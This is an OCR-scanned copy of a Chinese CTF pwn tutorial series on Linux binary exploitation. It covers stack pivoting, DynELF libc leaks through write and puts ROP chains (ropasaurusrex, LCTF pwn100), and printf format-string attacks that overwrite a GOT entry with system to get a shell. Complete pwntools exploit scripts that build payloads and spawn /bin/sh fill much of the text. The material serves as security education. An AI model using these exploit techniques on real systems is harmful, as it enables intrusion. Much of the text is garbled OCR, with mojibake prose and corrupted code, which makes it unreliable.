‘| memset(&input, @, 8x1Eu);
i| setubuf(stdout, 6, 2, 8);
'l setubuf(stdin, 0, 1, 8);
| printf("Authenticate : ");
_iso0c99_scanf("%308s", &input);
| memset{&::input, @, OxCu);
| decodedResult = 0;
| len = Base6uaDecode(&input, &decodedResult);
) if ( len > exeC )
{

puts{“Wrong Length"});

| else

g

memcpy{&::input, decodedResult, len);
if ( auth{len) == 1)

H correct();
o}

‘| return 8;

o
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RFERBIMAN—MbasetdRIBT W FFFH, MERHITREFBEFIZITbssRME/FEE input,
REFERAauthRBFHITIIE, BEERHENTBRI TMcorrect ) $THshel |

| BOOLY __ cdecl auth{int a1)

{

char v2; Jf/ [sp+14h] [bp-14h]@1
char =52 ff [sp+1Ch] [bp-Ch]@1
int vh; s/ [sp+26h] [bp-8h]@1

1
2
3
¥
5
B
7| memcpy(&vh, &input, a1);

B| s2 = (char =)calc_md5(&v2, 12);

?[ printf{"hash : %s\n", (char)s2);

B return strcmp(“Ff87cd6Blaa7fedca99818aBbe8Bedaldls™, s2) == B;
1

H

FTFrauthiF %, FAILIMXPNauthd)FESEFR EZ T EndSHFITEERS, BRUFAA/KEEETGRE 2 M
BImdSHIEAR IR, BAFEMNR, XEKmemopy il Fiam— Mt .

E1F S BNY;
EFL @208
B8 0493 08
820492 0E locrel BBADIOE:
BEO49308 leave
BERL93I0C auth endp
BEB4P3OC
733,216) 0000130C 0804930C: auth+70 (Synchronized with EIP)
O & x | [Q]Stack view
K5 EC 89 @4 24 ES B6 FE FF FF 89 45 ....E...$......E  |[FFBOCHTH  O94B29FD [heap]:B94E
B9 4h 24 04 C7 064 24 77 A6 OD 0B EB . .E..DS...Sw.... FFROCLTE  ORBOAOAC
8B 45 F4 89 k& 24 04 C7 B4 24 84 A6 $.--%-- FFROCHIC  DOLB2OF@  [heap]:BOuE
EF FF FF 85 €@ 75 G7 B8 @1 08 60 a0 . Ueaases FFROCH80 N 1T R}
00 0D 0B CO C3 55 89 ES 83 Eh FO 83 . Weoozoo 2 IEELE 6R6T6
24 08 1E @0 00 88 C7 44 24 Oh 00 80 .8.D%. od Hmeo FFBOCHE8

2y 1E 89 04 2% E8 AE EF FF FF A1 60 ...p%...%......7 L
44 24 OC 00 00 60 08 C7 4% 24 08 82 ....D§......D§.. FFEOCLH90 00
4% 25 0% 00 00 00 00 89 04 25 EB 29 ....D%.......5.) FFE9CH04 09482988 [heap]:094E

AR LM ENEZRNAEEITHIEIP, HEEITHIBIEBP, XM EEM Blstack pivotIBXTEBPRIIEHIEE1L Jyxt

EIPRYIZEHI T . ATIEFILMRE RN SR B Ut EER. bssEi £, BMauthBIEFHERBHLEZTauth
FmainFN R H A leave; retn. FATATLUSEHEFEIRERMAL. bssk £, ZETEED], baseb4MEZRTHY
PRAFBHIRIGANEL . bssER FEIERE HitE0x811eb40. IRIEZ BIBIHESR, ITEIE = Kretnftesp = new
esp — 4, FRIASKANEFNIZZERA, FEIEDMEDHRER ML, BGAGR BN T:

new stack old stack

padding padding
&(system(“/bin/sh™)) &(system(“/bin/sh”))
new esp new esp

...... elp

ISR AT :
#!/usr/bin/python
#coding:utf-8

from pwn import *
from base64 import *

context. update (arch = 'i386', os = 'linux', timeout = 1)
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io = remote ("172.17.0.2", 10001)

payload = "aaaa" #padding

payload += p32(0x08049284) #system("/bin/sh") ik, A payloadifE#IZEIbss b, #HEhiFFretn
BRI IX B

pay load += p32(0x0811eb40) #EHespithilt

io. sendl ine (b64encode (payload))
io. interactive ()

FEITEMR, stack pivot@—MELEEEMIFIAR, EIZETRAISROPHIret2d|_resolve R FEAIITIEFI A Z
XA

PR = R B R T3



https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42534&ctid=157

BIUTE

Linux pwn AT J3XikE(5)——hll Bimi ik Eibc

{ff%: Tangerine@SAINTSEC

| 0x00 DynELF&in

ERE/LEXES, ATEREEE, REZBTHAERRsystemfIRE B {1 EHHEE 7RIS H R ME
TERREZH | ibchiA . FKA1EE, FERARibe, BREE AT T STHFFSL AR 35 F0 ok 28] A R F5
—E—H. FFLANREERRH ibe, BITMEEE—NERBHIITE L systemeR bk 5977 AR A FE
T o XPMERBAVEIEFIBIRRGER  ibc.

K FILiZIREL ibc, pwntoolsTERHAIRATRIZE T —MERS R DynELFZE. DynELFIBIE A IXHEI

t: http://docs. pwntools. com/en/stable/dynelf. html, HE{KXARIERIILSFCASTIERL ., EHH

¥, DynELFiBidiEHmiAit EHEEMUIAE, S ELFIT A HYFAE IR B S MR A ST T &L B
RS ERGTRAMNE . DynELFERER S ENT:

io = remote (ip, port)

def leak (addr) :

payload2leak_addr = “¥kkx” + pack (addr) + ‘“Rdkk”
io. send (payload2leak_addr)
data = io.recv()

return data

d = DynELF (leak, pointer = pointer_into ELF file, elf = ELFObject)
system_addr = d. lookup ( “system” , libc)

fEFADynELFEY, HATFZEFEA—leak BRBUEAWIESH, $BEELFAAIFESH S E £ MELF A MR BRI
HEVRE—MEATIESE, UAEH—DynELF2EAISIfld, RIER0AT LUBE X D SEAIdEY 5 7% | ookup R
I ibcEERBT . Hep, leak BT EMEM BEFFZFASH0RIRM E 1 ADynELFEE N int B S K addr
TR TF P #E. BERTFOynELFR % RIEMA leak B, XNEHLMEEERRER, BITEEME/L
Mtttz ERSHIEFER. ATHEEMERIE, payloadhAB R EITENRY, Wwrite, puts, printf
F, BAVRIEX LR A 2B EH R A ER S 2 B B TR

| 0x01 DynELF#IfE—write@#

HAGRBLLEE B Mwr i tedBH. writelRBMIFSAETEAETERESKsizeE, REBFRMUERT
iE, sizelAZ LM EZ L, FLFEEW 0O, \n' ZEWFEFEI, EiLt|eakid X EIEATIEE
LIRS A TR B

HAT1FFIE S5 4151F"/PlaidCTF 2013 ropasaurusrex/ropasaurusrex. XNRAEFRERIERE RS, —
BikiaEread, —Pwrite. HBlibc, gotFREEBsystem, Hi&HFint 80h/syscal l

ssize_t sub_80483F4()

1{int cdecl main() "’

2 o | char buf; // [sp+16h] [bp-88h]@1
3| sub_SOu83Fu(); !

4| return weite(1, “WIN\A™, hu); | return read(®, &buf, Bx188u);
5l iy

XS R T A ISR AT LAE FIDYnELF 3R leak | ibc, T3k B systemF I 7EA 7 Ay bt .
HARBIRMBB—DT LT EEE U AIROPHE . BTN TR LUNLERK R EBIE I PEZE 140N FT, Eitk

| EFREHISET VER
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HATTLAMIE— " pay load2l R :
elf = ELF( ‘. /ropasaurusrex’ ) #A ST ERAFREBERER TH— 1N ERE X Hropasaurusrex

write addr = elf. symbols['write']

payload = “A” *140
payload += p32(write_ addr)
payload += p32(0)

payload += p32(1)

payload += p32(0x08048000)
payload += p32(8)

{8 Fpay |oadfTENHHELF ST AE 177 HREY 2 H0A1E0x08048000, wr i te O BATHARIBBEIMMIFAEATS, H5
B % LA L Hodh 25 R

on port leeeél
1 P 10001:
on port 10001

MAERMNFZEILX Ppay load UK EEFEM . BEABRNFELIRwr i te RBUREIAHIIE, URHITTEwr ite
ZRIEFERS . A AN ? S iteRTTHY, EASKERRDEMREEE. NREMpop
BN SERIN TR, SHITIUARSFERILTE. XERNTTEIR E ik 2 Mstart RAIHIE

Lext:080u8340 public start

LALeXCI080488340 start proc near

Ldext: 080488340 ®or ebp, ebp

text: 08048342 pop esi

text:0BON83L3 nov ecx, esp

-text : 08048345 and esp, OFFFFFFF@h
Ltext:08ba8348 push eax

Ltext: 08048349 push esp + stack_end
-text: 08048340 push edx ; rtld_fini
-text:0804BILB push offset fini ; Fini
Ldext: 08048350 push offset init s init
-text:oBDaBass push ecx s ubp_aw
text:08048356 push esi s arqc
-text: 08048357 push offset main ; main
-text:0804835C call ___libe_start_main

et 080u8361 hlt

Ltextzo8o48361 start endp

Jdext 080488361
KERBEETRANN, BFNRKEFNETREE, HUT=HENNREBES BRI DS H
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mainiB{TRIEFHAD. Ett, FEHITTEwr ite RBGEERIRRE, RINTATLUREEX BRIFH—BIZFIITE, 18
HTREMMTT —BIEF. IMTERIpay | oadEf AL leak BEANT

def leak (addr) :

payload = "'

payload += "A'*140 #padding

payload += p32(write_ addr) #iE FHwr i te

payload += p32(start_addr) #writeiR[E]ZE|start

payload += p32(1) #writeF—PNSHFd
payload += p32 (addr) #writeFE = PNSHbuf

payload += p32(8) #writeB=1NSHsize
io. sendl ine (payload)

content = io.recv()[:8]

print ("%#x —> %s" %(addr, (content or '').encode('hex')))
return content

FATINT —1Tpr intifi | eakAITRYIRAS, AT debug. {EFDynELFittZEsystemif#tthtlt, TRINT:

>>> log.info("system addr = x", system addr)
[*] system addr = @xf7d7e060

[>>>

FRATAT AR B 53X ANDynELF 2 AU L5ttt BB read ER AU E IE N 7R3 AE, FA-FIZEL” /bin/sh” FEFRBAES,
PUETFHiTsystem( “/bin/sh” ). &AL T:

#!/usr/bin/python
#coding:utf-8[/sizel [/align][align=left] [size=3]
from pwn import *

io = remote ('172.17.0.2", 10001) [/sizel[/align]l[align=left] [size=3]
elf = ELF('. /ropasaurusrex")

start_addr = 0x08048340
write addr = elf. symbols['write']
binsh_addr = 0x08049000

def leak (addr) :

payload = '

payload += "A'*140 #padding

payload += p32 (write_addr) #E FHwrite

payload += p32(start_addr) #writelR[E Elstart
payload += p32(1) #or iteSB— NS Hfd
payload += p32(addr) #writeFE = PNSHbuf
payload += p32(8) #uriteB=1NSHsize
io. sendl ine (payload)

content = io.recv()[:8]

print ("%#x —> %s" %(addr, (content or '').encode ("hex')))
return content

d = DynELF (leak, elf = elf)
system addr = d. lookup ('system', 'libc")
read_addr = d. lookup ('read’, 'libc")

log. info("system addr = %#x", system addr)
log. info("read_addr = %#x", read_addr)
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payload = "'

payload += "A'*140 #padding

payload += p32(read_addr) #@ B read

payload += p32(system_addr) #readiR[E]Elsystem

payload += p32(0) #readSE— NS fd/systemiB[EHhLE, TEENX
payload += p32(binsh_addr) #readsE — NS #buf/systemB—NSH

payload += p32(8) #readsE =NE#size

io. sendl ine (pay | oad)
io. sendline (' /bin/sh\x00")
io. interactive ()

| 0x02 DynEL FifEfi—H st S

BRT “HFULIE” BwritelRBZ SN, —LETHTLBFBML R K EEEHIMERLCTF pwn B,
tedprintf, puts®. XRMBAFFREXWHHRFTEM, HEFEMEKETEEREM. $txiXME
#, BNATUSEXEEI: https://www. anquanke. com/post/id/85129 3 | eak i H AU WLAA H ZR 7 31T
W, FHAIE—TBIF"/LCTF 2016-pwn100/pwn100, HiffE:EH I AEsub_40068E () .
;Enl sub LOMGBE()
3| char vi; // [sp+Bh] [bp-koh]E1
s'.' sub_bO0&3D((__intas)&u1, BxCBu);
b 6 return puts(“bye~™);
P70}

| _int6s fastcall sub_&0063D(__ intés a1, unsigned int a2)
__intéN result; // rax@a
unsigned int i; // [sp+1Ch] [bp-Ahh]E1

For (i = @; ; ++i)
{
result = i;
9 if ( (signed int)i >= (signed int)a2 )
10 break;
11 read(®, (void =)((signed int)i « a1), 1ull);
12| )
13| return result;
(L1}

1
2
3
N
5
[
7
8

REA B AL I o

B EFEERMRAN — R AT ERNAMIERF, BRFEITLUESrdxigadget, FILEXBIRNZAATIUA
B2 AR E TR EIR 7 BEgadgets 1 TER B -

BRBNFE— N leak B H, BEMNRBHSTHENLIEFF A LUBKMEESHRHIB—Pouts,
EAEEHE ipBE2NFT, BNRRBETUBHE— =X HEAMA:

from pwn import *

io = remote ("172.17.0.3", 10001)
elf = ELF(". /pwn100")

puts_addr = elf.plt['puts']
pop_rdi = 0x400763

payload = "A" *72
payload += pé4 (pop_rdi)
payload += pé4 (0x400000)
payload += p64 (puts_addr)
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payload = payload. | just (200, "B")
io. send (payload)
print io.recv()
5

T
payload += pb4(pop rdi)
> payload += p64(0x400000)
payload += p64(puts_addr)
> payload = payload.ljust(2ee, "B")
io.send(payload)

>>> print io.recv()

BT Ebr RS RS EMN I TEeuts ( “bye”™” ) ZEFSWMEL, MEXTRHUI AR, EHENETEE
HATENFR, FTAATLE leak REANT :

start_addr = 0x400550

pop_rdi = 0x400763

puts_addr = elf.plt['puts']

def leak (addr) :
payload = "A" *72
payload += p64 (pop_rdi)
payload += p64 (addr)
payload += p64 (puts_addr)
payload += pb64(start_addr)
payload = payload. | just (200, "B")
io. send (payload)
content = io.recv()[5:]
log. info ("%#x => %s" % (addr, (content or '').encode('hex')))
return content

FA14G EAT A — M MIAFH AT, 24T eakitiss 1.

BT BB | cakiE BRAT ULIE A B IHA AR [EHE20x0a, BI—NEIZEM. MTraceback
FE, BRARESIEIMEER, X2 Routs O WHHE R, EA— SRR, THA
ME \x00 (ERTHEER, NS THE. Eit, B URIEEAB SN | cak Bt
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def leak (addr) :

count = 0

up = "'

content = "'

payload = '"A'*72 #padding
payload += pé4 (pop_rdi) ##puts () T1E
payload += pé4 (addr) #leak R EHYS Haddr
payload += p64 (puts_addr) #i Fputs O R
payload += p64 (start_addr) #PkEE S start, ERK

payload = payload. | just (200, 'B') #padding
io. send (pay | oad)
io. recvuntil ("bye™\n")

while True: #TEPR1BIMIEEL, BALE
recv () BRI A &
¢ = jo. recv(numb=1, timeout=0.1) #ERER—NFT, & EBEEHREEIER
count += 1
if up=="\n' and ¢ == "": # E—NFREEZEBISEF R EMFER,
WRRISESE T

content = content[:=1]+'\x00" #xfa— N FHRE H\x00
break
else:
content += ¢ #HfiEMIH
up = ¢ HRERE—1NFEMN
content = content[:4] #&EUMHHI—ERIEANIREE, IRHELADynELFALIE
log. info ("%#x => %s" % (addr, (content or '').encode('hex')))
return content

BIA L ERA AT~ /LCTF2016-pwn100/exp. py, AT HEEIR,

I0xO3E1m3iﬂilich<]ES£
BADYNELF E—durpFl5E, BEAFHERNBLME LS ABBHBIMER, LLNSTFH R cakEH,

TlibetimHEE. Jz—w%‘izﬂ]ﬂé’\*”—‘“‘—fﬁﬂ’lﬁ*/kﬁm
BRENLHZ ibedb. com, X2—MARELEM ibehRA I MU,

libedb. com: the libc data base

{ amaxch /

search

ombolanuse:  [oc stetmen |
syabol adiress:  [up7aadde0 |
syabolB mase:  [otsockopt |
ombelB address: 7SO0 |

NEMFREHRMNATUELR, XMMEHFERAELSER, IFERTEELRDIIRNAERL., IEREF
BEAUAKHENEZNRE. FiESmEEibedb. comBiF I AR (1A Ubuntu. 17. 04EBHE/Y | ibe,
FRATEX BT HEETRT -

FEZNMHEFRIMuE Zhttps://|ibe. blukat. me. XMk [E14HEA] LUR Tt 3 A9 IE SR &if | ibc. FATBITLLA
Y libc_start_mainfireadfdtthiit [ = AT A | ibchg 2N

b5
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,;!l .;Il:l.l!ll“.ltﬂﬂl off_60NEIE dq affset word_ VoS ; DATA XREF: putstr

Lgel pll:BO0ORRUORRARTNZE off_A0TE2E dq offsel unk TFR2CF21FSFS8 ; DATA XREF: setbuilr

SQOT . pLL: BEOSRNIORIATTEZE of F_GU1E28 Og oFFset wnk_TF2CFI276888  ; DATA XREF: readlr

Lget.plt ;000000000100 of f_01BI0 dq effset wnk_TFRCF219E388  ; DATA XREF: _ libc start_mainfr
GO L RIORRRIORIE T IE of F_6018I8 dq oFfsel word_VOOSAs ; DATA XREF: _ gmon stact  fe
~got .plt: BONSRN00NG 01 ISR _got_plt ends

QO pLL: O0SRBOORNE 01 KON

Aata: MIIDDNERMIIETIIAE ;| = o RN NSNS S SSASEES A R .

Cury o il N ST et Maichas
Mok 2 pe-uturtul.d_emdsd
- .
R—— — . Tbob_2 24-Gubunti2 2_amde Dowrica
a e P —
m Ll stert_maks e =]
o aasios fazines
- inne —
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wite rene resren

Sa1bacen Dansarar

HEBWERELL | ibo_start_mainyEEA L T SRS M EHEHES.

FEEMEFEN G ERELRPEREMBEMN I ibc. NR—MREBTEREE ibe, BEAIUSK—TER
H b BREVEEY | ibo iR, ARHMRAIEERT AR T A B EMBEER —MEAN RS D.

RS DIBFD 5R )RR = L kAR B RS TR &:
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QEME
Linux pwn AT J¥e(6)—i§UE 5715 ihilkii

f£%: Tangerine@SAINTSEC

0x00 printf@ St BIiRiRE

printfR#IER— NECHRIEFR LB AR EE. BEXREE, FNSEMprintf (ERAUFEFE], S5
B RH#ITAB,

char s[20] = “Hello world!\n”

printf( “%s” , s);

AT, BIHMEATEAEHLSERK

char s[20] = “Hello world!\n”

printf(s) ;

Ex b, XR—MIEERRNE .. BTperintflREBURANLITEE, HEE— N SEAIHITHR, HEEF
B EFHEERNFILHITIEE 2.

0x01 FI AL F15 BiTiRSc I {EShitis
HRBIRE—NBEC S EH]T/format_x86/format_x86

1{int _ cdecl _ noreturn main{int argc, const char =xargu, const char ==enup)

2K

3| char buf; f/ [sp+Bh] [bp-134h]E@2
4 int =u4; /7 [Sp+136h] [bp-4h]E1

5| v4 = Rargc;

7| showVersion({);

3| while ( 1)

LI §

B nemset{(&buf, 0, Bx12Cu);

1 read(®, &buf, O0x12Bu);
printf{&buf);

X2— Aﬁﬂfﬁ@iﬁ’ﬁz ATEBREI, HiHAsystemFEE T —"showVersion (). R THIE—N Lk
‘ #Eﬁiﬁltﬂ ﬁE’JH‘bﬂ}ﬂTprlntf() EERR, FAVEANT2ESHERERS

on 4.13.8-kalil m“ﬂ:q (devel@kali.org) (gcc version 6.4.8 201 Debian 6.4.8-9)) #1 SMP

1E'E'-:L:¥!z1|]§ﬁ“)\ LEETE B F AR I T L.
q32rbadghapdnvpewut24sdfad =dsis=kq=wetm42[gbnqitq
32rbadghapdnvpewut24sdfad’ "=dsis=kq=wetmd42[gbngitq
Fod

-1740828

6 X
ffes56fedq

p
Pxffe56fed




QEME

AUEE, éﬁMﬁAWmﬁTlﬁm%T%$ﬁ$ﬁ,mmw%%ﬁﬁ%ﬁﬁ%?ﬁ%ﬁﬁﬁﬁ#mﬁo
[FIBRE R, Flprintf( “%s” %Homﬂ&)MEﬁ%ﬁ%E%—¢%@%¢%ﬁﬁM$ﬁ$%
i TR, AXEATRMNEZRer intflAH—1ZE8, STEHEFERANFHFER, BRARSK
printfEEAT, WZFEW&MW%ZmﬁZW’&M%QW+L

A EEcal | intf— ﬁTmﬁﬁFuﬂﬁHTFﬂ&F SATEMIN—K B%x, M HEERAE

.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e

ABAN FF9SABBA [stack]:FF95SAl
PLARAR GODOM 2B

9SABAC  PEOABAGS main:loc_BOuBAG
9%ABE® F7E1ZE18 1ib ! :F7
P%ABBN 252E7B2%
9%ADBE TB2S2ETE
OLARBI ZETR252E
PSABCA 252E7825
9%ABCH TB252E7B
9% ABCE PIIEJEJI

ﬁﬁﬁ%%kﬂﬁﬁ%ﬂﬁﬁﬂm%wﬂ%ETM—L$HE P LGEIR_E AT AT LIRS B xR IRELA
PRIEENBIREE. AR AR ERMEIEL? RNMERNUFHFEERYs, ATHLEFH. HE
BERIZEMHSH, FHERIESENT, REEX NI FRFRmE. BONEMAN— T rsWRER.

HANVERYL 7% /BT T —PMRIT, IR ERAMBERINT -

AB7% EO AC 95 FF EB AC 95 FF 96 FF EMNF7 4D CD FBF7?  ...cnvvvvnne i A~
SABEN BN AB 95 FF AB AB 95 FF 20 ©1 00 00 BL4 AB 95 FF  ........ ke | SnBak  FFOSABBN [stack] ABBN
SAB9% EJ E3 ED F7 75 FF EA F7 A1 B4 0k 08 BL AB 95 FF ... .u....cc..... T WOWS — 00000T20
EEQSoBoh Bh AR OS FE 28 01 00 0@ 65 84 Bh B8 18 2E E1 F7  ....+...°....... SABA BEAUENGS  main:loc_S0ABLGS
JEABEN 25 73 OA OO0 §0 0D 0D 00 00 OO0 DO BO 00 B0 B0 B0 IS......caceenen FFOSABB® F7E12E18 1libe 2 y.so:F7E12E1
"_"'_'T""_“_m_ll 00 0D B0 0D 0D 0D OO 0D PO BB OB ......ceicvnnnen PLABBLY  BOBATI2S
SAEDY 00 @0 00 OO0 00 0D 00 D0 0D 00 00 00 00 00 PO B ........icieeaen SABES  00BOBORD
SARES 09 80 00 00 00 00 OO 90 00 90 90 B0 00 00 A0 BD .........cccne0n FFOSABE GEGELTTET]
JSABFY 00 @0 00 00 00 00 00 D0 00 00 00 B0 00 00 BB B0 .........c00000n JSABCH  0e88BRRD
FF95RCDI| m B0 0D 0D OO OD DD B0 0D OD 0D OO DD BD BB PO .......cccenemen JSABCH  DDAODODD
00 00 00 OO0 0D 0D 0D 00 0D OD 0D OO0 OO0 0D BB D .. ... .......a.. oopeooen

&ﬁ %—A§ﬁ,mﬁm&MWAM% FEZANSE b FEE— Aﬁﬁ # 1E bt R AT IR = B9
R%sHEZE0x0A, FTUEETFHRATT LRI, AT LUMAN— N, Bilt%sEIFt 2 i
ik, M bitbis A FERT S, SCIEEREE.

BERINEER AN TIAL I, BFATEBANE ARSI (ERMARIETHE S ‘000A7325° =
%s\n\x00) o EFLAFATTAMIEREE” \x01\x80\x04\x08%x. %x. %x. %x. %s “. X EBTE I 2ELFST N
AY1th11E08048000+1, A4 208048000/5HHiR, A EHIAILIEDRE—
HTFHERBGRETAUEFR, RIVSHEEERA, XEFK(IHpwntools+IDAKIINAY A RHITIEIR

5 717,
io = remote('172.17.0.2', 10001)
Opening connection to 172.17.0.2 on port 10001
Opening connection to 172.17.0.2 on port 10001: Trying 172.17.0.2
Opening connection to 172.17.0.2 on port 10001: Done

> io.sendline('\x01\x80\x04\x08%x. % X.%s')

> io.recv()
"Linux version 4.13.0-kalil-amd64 (devel@kali.org) (gcc version 6.4.0 20171026 (Debi
1-08)\n\x01\x80\x04\x0871924194.12b.8048465.T7d94el8 .ELF\x01\x01\x01\n'

>

ARk Thith 3t 58 ) 7 #hi1k0x08048001 AN A -

ZRINIEIREE, TRt T 5 E it fpay | oad 3HEE KRR N IZIE = AEBIRARA. AT IERATHIMN AR
[&%FfEpr intFIZESHMEANSHMNE, FTARRNCI R EAETSL, FEHprintf LSS
ETRERALUERSR, FAEBEEE_AERANSH GENAMANFRERIERE—1N230, ER%E



DEME

ANSHIERMUE RN . BERMBMAKEGRS], MBERIMAMALTprintflE/L+ NS HHNEEA
TE? BMxBATIEL. ALENFERIERNUEFENS—MFHE.

WA FEF R UER -SRI R TR RIEELIEEN S, MBEERNSEATUE %8s, $-
MNA%SSs, BEMEENNSHELRYS (n-1) $ERITHIFF] . EtkFH{18pay load AT LAEIL A" \x01\x80\
x04\x08%5$s”
>>> jo.sendline('\x01\x80\x04\x08%5%s")
>>> jo.recv()

"\ x01\x80\x04\ xO8ELF\x01\x01\x01\n"

0x02 fE XL P HRIRRAESES

SBRFMNTUFAERRCFAERDEEEERUE, BERNATEEZERITIRBCRFI AR Heetshel I,
ENBETE®IUS. AEBNERADTENBERNUCETENS—MIE—FHpr intf#HITEAN.
printf B—MIRAIENITH FFon, MEMIZFMERXNASTHERNUEFRIARNZ, XMERULFE
HABTHE T MBS ABI RS MNAER ., BfilfpayloadBif “\x8c\x97\x04\x08%58n" , EH
%%W@%yﬁamgmmmjfﬂsmﬁoMHﬁﬁmm¢mmg%O
B8 0L4978C E: @80 00 60 00 BD BD 00
printfRATEZ Bt PMRNE TR T4, EEMELZIEE THENFR “\x8c\x97\x04\x08” , EFE%
BHITEAEN.
>>> jo.sendline('\x8c\x97\x04\x08%5%n")
>>> jo.recv()
'\X8c\x97\x04\x08\n"'
esou978c [T 00 00 00 @0 00 00 09
HATE R EKpay loadA “\x8c\x97\x04\x08%2048c%5$n” , FINIE0804978c R H A& B K 0x804
>>> jo.sendline("\x8c\x97\x04\x08%2048c%5%$n")
B2 64978C EE 68 60 00 00 00 60 60
MERNSELWIE T EEMINES, FETRALIEEexpEshel | T,
BHTFHERMNTUEENTE, BEFEGsystemEFH, FEFHNEX BT EREEEHIF—DEHH g0t RN
FsystemBlp 1 tFRIT, MM ITsystem( “/bin/sh” ). EhiFM—IR? A& M EotRP R BN R,
BprintflREAIUESHAR, SR XNEF2HIWARN. EtFHITTUAEpr intfAsystem, REFRE
HreadiEEY” /bin/sh” , LtBfprintf( “/bin/sh” ) IS T R system( “/bin/sh” ). RIEZBIH{ES ML
B, IR AESHiEpay loadili T :
printf_got = 0x08049778
system plt = 0x08048320
payload = p32(printf_got)+” %” +str (system _plt-4)+" c%5$n”
p32(printf_got) i T4, Rillksystem_pltEi x4
Fipayload ZiEI XK, FILAX IR got R Tpr intfINE S ENHF

_got.plt:08049770 dd offset unk_F7F676810

-got.plt:0804977L off_8049774 dd offset _ read ; DATA XREF: _readir
.got.plt:08049778 off_8049778 dd offset _system ; DATA XREF: _printfir

-got _plt:88AL977C off_804977C dd offset _ libc_system ; DATA XREF: _systemir
.qot.plt:08049780 off_B8049780 dd offset _ libc_start_main ; DATA XREF: libc_start_mainir

-qot.plt:B88049788 got_plt ends

HRTER&E” /bin/sh” BRA[IAZEshel | T
EEXEXLF MO, MREHEENESER T —EBRSXIBELNITRcal | _printf—{THITATEER
SMNUA, Bffgio. interactive O BFRH ERXIFRE T ERNFRK—EKAE, MIEXENEFRF. FH

io. recval | O IEEUX L FFF & I IEE57%128. 28MB. X ZE FFk{1Hpay | oad R £ 14134513436 F
ol

>>> payload

"X\ X97\x04\x08%134513436C%5%n"'




OB

BHFHRITABERKEZEARN/ B Fldocker 2 [B]i#1T, FIUASZEIMEIMERIE N, MAESLRRAIEL

%%ﬂiﬁiﬁﬂfﬁﬂiﬁﬂh, —RMERIME KENBFETESSHMEFRE ZFENEE. Eit, {500 —
S explI73 %,

HAVEE, FEOAITBY1d, % IxFHRRKFKREF (qword) KEREHE, MXTFRM, FHA1AILUER %N,

%hhxIX R 5 R R TR T (word) FIFETT (byte) KERIEIE, FTRE|%n EFLRE%hn, %hhn. AT B &R
WHRSHIEFER, RNNAFTE IR MRgotRPMprintfINZIR, FELLfFERA%ShhnATH AT A I—R &
KN FT . ABAENABEFMIDIE—Tpayload

BHEH A% pay load /il LN EEKHIFTS

printf_got = 0x08049778

system plt = 0x08048320

payload = p32(printf_got)

payload += p32(printf_got+1)

payload += p32(printf_got+2)

payload += p32(printf_got+3)

REBNTRIELE L. BHTx86HMx86-64ERZ K, printf_gotIf IR iZ 2tk i F{r0x20
payload += “%”

payload += str (0x20-16)

payload += “c%5$hhn”

XEHEFA1E L1804 T 0x08049778 b HIBIHE F90x20, IZETRIL(TFEIE0L0x08049778+24b B2 #E 790x83. H
FHAMB LML T0x20NFT (16N FHHIHBIE+0x20-161%c) , FIL I 1T EE 4 H0x83-0x20PF 15
payload += “%”

payload += str (0x83-0x20)

payload += “c%6$hhn”

PREF(ETL0x08049778+4, FTEIEF0x04, RMENFIE LML T0x83NMNET, FLENTFTEHLE
0x04+0x100=0x104F5, #HiEr/FZTR0x04

payload += “%”

payload += str (0x104-0x83)

payload += “c%7$hhn”

&2 0x08049778+6

payload += “%”

payload += str (0x08-0x04)

payload += “c%8$hhn”

= EHIpay load ' \x78\x97\x04\x08\x79\x97\x04\x08\x7a\x97\x04\x08\x7b\x97\x04\x08%16c%5$hhn%99¢c
%6$hhn%129c%7$hhn%4c%8$hhn'

LR, S FRRUFEFFHEpayload, pwntool st T — NI AEIZEFERAHIEFmtstr, BEASTHEN
http://docs. pwntools. com/en/stable/fmtstr. html , F{ 1 EEBBITIEER fmtstr_payload (offset,
{address:data}, numbwritten=0, write_size=" byte’ ). E— S offsetBE— AT IR
(FEEBRRANUEFESH, RARNWETFREEAANSH, AR5, ENFHEZFRAIUIE
%, numbwrittenZiBpr intfESRNUFRFE AL AEIE, tkilprintf( “Hello [var]” ), L7
AETEZHEEHET “Hello 7 HUARNFER, MZEESHEN6. EMNEFEA %hhn (byte),
%hn (word) I 2%n (dword) . ZTEFRNHIBIFEZE AT LAS B fmtstr_payload (5, {printf_got:system plt})
FRENA A5 Fshe | | BB O F R, AL HEER.

0x03 644 NI FE TR IRIBFI A

ZIERMNTHERACEFTRREAFA, RNBERBINECETRERNAMIEF. HNFTHEIF/
format_x86—64/format_x86—64,

Iint __cdecl __moreturn main(int argc, const char =sargu, const char ssenvp)

| char buf; // [sp+8h] [bp-138h)@2
)| int wh; /7 [sp*128h] [bp-8h]@2

i showversion();
" while ( 1)

) menset({&buf, 0, Bx12Bull);
) vh = B;

| read(®, &buf, Ox12Bull);

! printf(Bbuf, Bbuf);

i} |




QEME

FxXE, IMEFME—TPEANGFER—MEXH, RASHFERToMIRFK. fL—NMF—
B, RMNEEF—TAEHRHMIHRTS .

LV

& X [©] Stack view
A T rddd3 Rl xal 1 Bl3837363534333231

GOBO7FFELAIEF168 DODOBOOOGOOOGODOO0A
BOGO7FFELAIEZI70 ODODOOONBOOBOOODG
GO067FFELAIEZI7E BOBOGOOOB0O0O00000
BOGO7FFELAIEZ 180 ©OOODODONBOOBOOOO
GO067FFELAIEZ188 DBO0OBOOOB0OGO00000
GOOO7FFELAIEZI90 OOPOOBOBNOGOROO00
GO067FFELAIEZ198 ©BO0OBOOOH0O0000000
GOOO7FFELAIEZIAG OODOOBOBDOODOO0ONG
GO067FFELMAIEZIAE BODOBOOOBOOOB0000

RBEBENGITF, FNOMAMLTERR, AUARFE—ISH, BENIZ20 BR0EEERT, &ﬁ?ﬁu%?ﬁ
SR HbhERE ? %lthbe41iﬁﬁ1§*Jllﬁrmrdl rsi, rdx, rcx, r8, r9, IETRAZWK, FMUXENRBRIZE
6. ?*zﬂﬂuﬁﬁ %%l Ix SRIEARIX —s.

bllx.%

?cheaZTGQ @ l’b ?erbcfSaOQG 1.53 6c6c252P?b6C6c’5 252e786C6C252e78.786C6C252e786C6C

& X ||[Jk General registers

N RAX 0000000000000000
REX 0000000000000000

RCX O0OO7EFDBCF8AB90 « libc 2.24 . so:read+18

[ ] RDX 0000000000000128B
RSI O0OO7FFEEA2F0920 & [stack]:00007FFEEA2FB928
RDI O00O7FFEEA2F0920 & [stack]:00007FFEEA2F0920
RBP 00007FFEEA2FOAS0 « [stack]:-00007FFEEA2FBASE
